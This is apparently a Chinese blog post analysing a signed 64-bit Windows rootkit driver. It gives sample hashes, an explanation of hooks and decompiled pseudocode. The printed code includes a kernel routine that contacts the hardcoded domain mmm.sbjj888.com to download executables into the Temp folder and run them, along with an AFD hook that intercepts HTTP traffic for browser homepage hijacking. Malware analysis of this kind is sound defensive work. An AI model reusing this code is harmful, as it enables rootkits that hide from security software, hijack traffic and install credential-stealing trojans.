Rootkit
内核后门病毒
对操作系统内核进行劫持,通过隐藏其他病毒进程、注册表、文件相关操作等方式与安全软件进行对抗。Rootkit是一种高明的Hook技术,有多种Hook方式。由dll 注入木马,技术上实现从原本Ring3层的注入,转变到Ring0层的注入。
HOOK
对于Windows系统,它是建立在事件驱动机制上的,整个系统都是通过消息传递实现的。hook(钩子)是一种特殊的消息处理机制,它可以监视系统或者进程中的各种事件消息,截获发往目标窗口的消息并进行处理。所以说,我们可以在系统中自定义钩子,用来监视系统中特定事件的发生,完成特定功能,如屏幕取词,监视日志,截获键盘、鼠标输入等等。
钩子的种类很多,每种钩子可以截获相应的消息,如键盘钩子可以截获键盘消息,外壳钩子可以截取、启动和关闭应用程序的消息等。钩子可以分为线程钩子和系统钩子,线程钩子可以监视指定线程的事件消息,系统钩子监视系统中的所有线程的事件消息。因为系统钩子会影响系统中所有的应用程序,所以钩子函数必须放在独立的动态链接库(DLL) 中。
hook(钩子)就是一个Windows消息的拦截机制,可以拦截单个进程的消息(线程钩子),也可以拦截所有进程的消息(系统钩子),也可以对拦截的消息进行自定义的处理。Windows消息带了一些程序有用的信息,比如Mouse类信息,就带有鼠标所在窗体句柄、鼠标位置等信息,拦截了这些消息,就可以做出例如金山词霸一类的屏幕取词功能。
Contents
- 1 样本信息
- 2 样本分析
- 2.1 start
- 2.2 DriverEntry
样本信息
File: 973fe1392e8145daf907fad7b4fbacdc.exe
SHA1: 924f6161edf05680f6626184a58a902943c4ef78
filetype: PE64
arch: AMD64
mode: 64
endianess: LE
type: Driver
compiler: Microsoft Visual C/C++(2008 SP1)[-]
linker: Microsoft Linker(9.0)[Driver64,signed]
linker: Microsoft Linker(9.0)[Driver64,signed]
样本分析
start
DriverEntry
sub_11870 确认IO状态
sub_78810 创建病毒设备对象
sub_785B0
sub_786B0
注册一个指定的设备—–>打开一个驱动程序句柄—–>从用户模式的程序中使用内核驱动程序
此样本注册的设备对象是 \Device\93218ec2da92e0af
打开文件句柄的作用
- 在用户模式的函数中充当参数
- 用于进行IOCTL调用
这些操作会导致生成要在驱动程序中处理的IRP。
SymbolicLink 添加链接符号,便于用户模式的程序打开文件句柄
sub_74670 导入api
sub_736C0() SSDT hook
sub_73340 hook到进程pid
sub_73990();
sub_745F0();
sub_12220 下载并执行盗号木马
StartRoutine
构建DeviceObject 信息 ,利用IoBuildDeviceIoControlRequest函数创建一个IRP信息,并利用IofCallDriver 函数执行处理这个IRP信息,实现隐藏的网络行为即木马下载。
void __fastcall StartRoutine(PVOID StartContext)
{
strcpy(v1, "mmm.sbjj888.com");
v2 = 0;
i = 0;
v3 = 0LL;
memset(v8, 0, sizeof(v8));
v5 = 0;
v9 = 0;
v4 = 0;
v6 = &v4;
LODWORD(v7) = 0;
memset((char *)&v7 + 4, 0, 4uLL);
sub_17990(); // 创建配置文件"\\??\\C:\\windows\\twain.ini"
v7 = MEMORY[0xFFFFF78000000014];
v9 = MEMORY[0xFFFFF78000000018];
while ( 1 )
{
while ( !(unsigned int)sub_18FD0(v1, "114.114.114.114", &v4)// 检测字符串和网路状态
&& !(unsigned int)sub_18FD0(v1, "8.8.8.8", &v4)
&& !(unsigned int)sub_18FD0(v1, "8.8.4.4", &v4) )
KeDelayExecutionThread_0(3000);
if ( (unsigned int)sub_17C30(v4, 20002LL, &v3) )// 尝试连接
break;
KeDelayExecutionThread_0(3000);
if ( v2 > 30 )
{
DbgPrint("connot GetDownLoadUrl\n");
return;
}
++v2;
if ( run_spy_flag )
return;
}
for ( i = 0; i < *(_DWORD *)(v3 + 8); ++i )
{
Source = 0LL;
memset(&Destination, 0, sizeof(Destination));
v13 = 0;
v13 = *(_DWORD *)(v3 + ((__int64)(int)i << 8) + 12);
DbgPrint("Tag:%x URL: %s\n", v13, (const char *)(v3 + ((__int64)(int)i << 8) + 16));
if ( (unsigned int)sub_17890(v13) )
{
Source = (PCWSTR)sub_11B40(&v9); // 获取随机数
Destination.Length = 0;
Destination.MaximumLength = 512;
Destination.Buffer = (PWSTR)ExAllocatePool(NonPagedPool, 0x200uLL);
memset(Destination.Buffer, 0, 0x200uLL);
RtlAppendUnicodeToString(&Destination, L"\\??\\C:\\WINDOWS\\TEMP\\");// 在临时文件夹创建随机字符串命名的文件
RtlAppendUnicodeToString(&Destination, Source);
RtlAppendUnicodeToString(&Destination, L".EXE");
qmemcpy(v14, &Destination, sizeof(v14));
if ( (unsigned int)sub_18210(v3 + ((__int64)(int)i << 8) + 16, v14) == 1 )
goto LABEL_22;
KeDelayExecutionThread_0(3000);
qmemcpy(v15, &Destination, sizeof(v15));
if ( (unsigned int)sub_18210(v3 + ((__int64)(int)i << 8) + 16, v15) == 1
|| (KeDelayExecutionThread_0(3000),//每隔0.3s尝试连接
qmemcpy(v16, &Destination, sizeof(v16)),
(unsigned int)sub_18210(v3 + ((__int64)(int)i << 8) + 16, v16) == 1)
|| (KeDelayExecutionThread_0(3000),
qmemcpy(v17, &Destination, sizeof(v17)),
(unsigned int)sub_18210(v3 + ((__int64)(int)i << 8) + 16, v17) == 1)
|| (KeDelayExecutionThread_0(3000),
qmemcpy(v18, &Destination, sizeof(v18)),
(unsigned int)sub_18210(v3 + ((__int64)(int)i << 8) + 16, v18) == 1) )
{
LABEL_22:
v8[v5++] = v13;
memset(Destination.Buffer, 0, 0x200uLL);
Destination.Length = 0;
RtlAppendUnicodeToString(&Destination, L"C:\\WINDOWS\\TEMP\\");
RtlAppendUnicodeToString(&Destination, Source);
RtlAppendUnicodeToString(&Destination, L".EXE");
qmemcpy(v19, &Destination, sizeof(v19));
sub_74690(v19); // 检测内存空间 释放例程
ExFreePoolWithTag(Destination.Buffer, 0);
ExFreePoolWithTag((PVOID)Source, 0);
KeDelayExecutionThread_0(5000);
if ( run_spy_flag )
return;
}
else
{
ExFreePoolWithTag(Destination.Buffer, 0);
ExFreePoolWithTag((PVOID)Source, 0);
DbgPrint("ERROR: DownLoadByUrl\n");
}
}
else
{
DbgPrint("need not download\n");
}
}
v2 = 0;
while ( (unsigned int)sub_17A00(v4, 20002LL, v5, v8) != 1 )
{
KeDelayExecutionThread_0(3000);
if ( v2 > 30 )
{
DbgPrint("connot SendSuccessTag\n");
return;
}
++v2;
if ( run_spy_flag )
return;
}
sub_17920(); // 关闭句柄
}
sub_17990(); 配置文件”\??\C:\windows\twain.ini”
sub_18FD0 检测字符串和网路状态
__int64 __fastcall sub_18FD0(__int64 a1, __int64 a2, __int64 a3)
{
unsigned int v3; // eax
v3 = sub_76D40(a2); // 字符串检测
return sub_74DC0(a1, v3, a3); // 测试网络状况
}
sub_74DC0 测试网络状况 尝试连接
__int64 __fastcall sub_74DC0(const char *a1, unsigned int a2, __int64 a3)
{
v10 = 0;
v9 = 0;
v7 = 0LL;
memset((char *)v6 + 2, 0, 0xEuLL);
v5 = 0LL;
v4 = 0;
v8 = 10;
memset(v11, 0, sizeof(v11));
v7 = ExAllocatePoolWithTag_0(2LL, 2LL, 17LL);
LOWORD(v6[0]) = 2;
v6[1] = sub_74710(a2);
HIWORD(v6[0]) = 13568;
v9 = sub_770D0(v7, v6, 16LL);//TCP接入
if ( v9 >= 0 )
{
v10 = sub_74910(a1, (unsigned int)strlen(a1), &v5, &v4);
if ( v10 >= 0 )
{
v9 = sub_77690(v7, v5, v4, 0LL);
if ( v9 >= 0 )
{
v9 = sub_77490(v7, v11, 1024LL, 1LL);
if ( v9 == 1024 )
DbgPrint("Status == 1024\n");
if ( v9 > 0 )
{
v10 = sub_74B30(v11, (unsigned int)v9, a3);
if ( v10 >= 0 )
{
return 1LL;
}
else
{
DbgPrint("ERROR: AnalyzeDnsRespone\n");
return 0LL;
}
}
else
{
DbgPrint("ERROR: recv\n");
return 0LL;
}
}
else
{
DbgPrint("ERROR: send\n");
return 0LL;
}
}
else
{
DbgPrint("ERROR: ConstructDnsPacket\n");
return 0LL;
}
}
else
{
DbgPrint("ERROR: Cannot connect\n");
return 0LL;
}
}
sub_14E10() 初始化锁首所需的html文件
__int64 sub_14E10()
{
unknown_libname_3(&SpinLock);
sub_13130(&qword_88350);
return sub_14E40();
}
sub_14E40(); 创建demo html
decode_url(); 解密锁首所需的网址
PsSetLoadImageNotifyRoutine(NotifyRoutine); 创建游览器映像加载和进程回调
sub_12680
void __fastcall sub_12680(struct _UNICODE_STRING *a1, __int64 a2)
{
Expression.Length = 42;
Expression.MaximumLength = 44;
Expression.Buffer = L"*\\APPDATA\\ROAMING\\*.*";
v8.Length = 42;
v8.MaximumLength = 44;
v8.Buffer = L"*\\APPDATA\\ROAMING\\*\\*";
qmemcpy(v7, qword_78F40, 0xAuLL);
v6 = 0xC3C000000000B8LL;
v4 = 0LL;
v5 = 0;
if ( FsRtlIsNameInExpression(&Expression, a1, 1u, 0LL) && !FsRtlIsNameInExpression(&v8, a1, 1u, 0LL) )
{
v10 = 0LL;
MemoryDescriptorList = 0LL;
BaseAddress = 0LL;
CurrentProcess = IoGetCurrentProcess();
if ( PsGetProcessWow64Process(CurrentProcess) )
{
v4 = (__int64 *)v7;
v5 = 10;
}
else
{
v4 = &v6;
v5 = 8;
}
v10 = sub_12510(a2);
MemoryDescriptorList = (PMDL)sub_125B0(v10, v5, &BaseAddress);
qmemcpy(BaseAddress, v4, v5);
if ( MemoryDescriptorList )
{
MmUnmapLockedPages(BaseAddress, MemoryDescriptorList);
MmUnlockPages(MemoryDescriptorList);
IoFreeMdl(MemoryDescriptorList);
}
}
}
KeGetCurrentIrql()
调用KeGetCurrentIrql()
函数,该函数返回当前IRQL
级别,那么什么是IRQL呢?
Windows中系统中断请求(IRQ)可分为两种,一种外部中断(硬件中断),一种是软件中断(INT3),微软将中断的概念进行了扩展,提出了中断请求级别(IRQL)的概念,其中就规定了32个中断请求级别。
- 其中0-2级为软中断,顺序由小到大分别是:PASSIVE_LEVEL,APC_LEVEL,DISPATCH_LEVEL
- 其中27-31为硬中断,顺序由小到大分别是:PROFILE_LEVEL,CLOCK1_LEVEL,CLOCK2_LEVEL,IPI_LEVEL,POWER_LEVEL,HIGH_LEVEL
ObReferenceObjectByName_AFD(Main_lock_logic);执行主要的锁首逻辑
ObReferenceObjectByName_AFD
(1)可以根据驱动名称可以得到PDRIVER_OBJECT,进而得到该驱动的PDEVICE_OBJECT。
(2)根据设备名称取到PDEVICE_OJBECT为0。
(3)根据符号链接名称取到PDEVICE_OJBECT的地址并不是设备对象地址。
Main_lock_logic
char __fastcall sub_77BC0(__int64 a1,unsigned __int8 a2,int *a3,unsigned int a4,__int64 a5,int a6,int a7,__int64 a8,__int64 a9)
{
v15 = 0;
v16 = 1;
CurrentProcess = IoGetCurrentProcess();
v25 = PsGetProcessWow64Process(CurrentProcess) != 0;
if ( a7 == (_DWORD)&loc_1201F )
{
if ( !a3 )
goto LABEL_27;
ProbeForRead(a3, a4, 1u);
if ( v25 )
{
v21 = (int *)*a3;
if ( !*a3 )
goto LABEL_27;
ProbeForRead(v21, 8uLL, 1u);
v19 = (volatile void *)v21[1];
v17 = *v21;
}
else
{
v23 = *(_QWORD **)a3;
if ( !*(_QWORD *)a3 )
goto LABEL_27;
ProbeForRead(v23, 0x10uLL, 1u);
v19 = (volatile void *)v23[1];
v17 = *(_DWORD *)v23;
}
if ( !v19 || !v17 )
goto LABEL_27;
ProbeForRead(v19, v17, 1u);
if ( (int)sub_13010(v19, v17, qword_7D820, (unsigned int)strlen((const char *)qword_7D820)) >= 0
|| (int)sub_13010(v19, v17, "POST", (unsigned int)strlen("POST")) >= 0 )
{
CurrentThreadId = (unsigned int)PsGetCurrentThreadId();
CurrentProcessId = (unsigned int)PsGetCurrentProcessId();
sub_78180(v19, v17, CurrentProcessId, CurrentThreadId);
}
}
v16 = 0;
v15 = qword_59E6C8(a1, a2, a3, a4, a5, a6, a7, a8, a9);
if ( v15 && a7 == 73751 && a3 )
{
ProbeForRead(a3, a4, 1u);
if ( v25 )
{
v22 = (int *)*a3;
if ( !*a3 )
goto LABEL_27;
ProbeForRead(v22, 8uLL, 1u);
v20 = (volatile void *)v22[1];
v18 = *v22;
}
else
{
v24 = *(_QWORD **)a3;
if ( !*(_QWORD *)a3 )
goto LABEL_27;
ProbeForRead(v24, 0x10uLL, 1u);
v20 = (volatile void *)v24[1];
v18 = *(_DWORD *)v24;
}
if ( v20 )
{
if ( v18 )
{
ProbeForWrite(v20, v18, 1u);
if ( (int)sub_13010(v20, v18, "HTTP", (unsigned int)strlen("HTTP")) >= 0 )
{
v12 = (unsigned int)PsGetCurrentThreadId();
v13 = (unsigned int)PsGetCurrentProcessId();
sub_78300(v20, v18, v13, v12);
}
}
}
}
LABEL_27:
if ( v16 )
return qword_59E6C8(a1, a2, a3, a4, a5, a6, a7, a8, a9);
return v15;
}
sub_78300
reg_minifilter 注册minifilter
reg_360safemon 注册360safemon线程
sub_11AF0 检查更新以及以上逻辑是否都正确执行
参考和知识补足:
系统调用,从用户态进入系统态(_KiSystemService() _KiFastCallEntry)
https://www.52pojie.cn/thread-1211229-1-1.html
https://www.freebuf.com/articles/system/168650.html
发表回复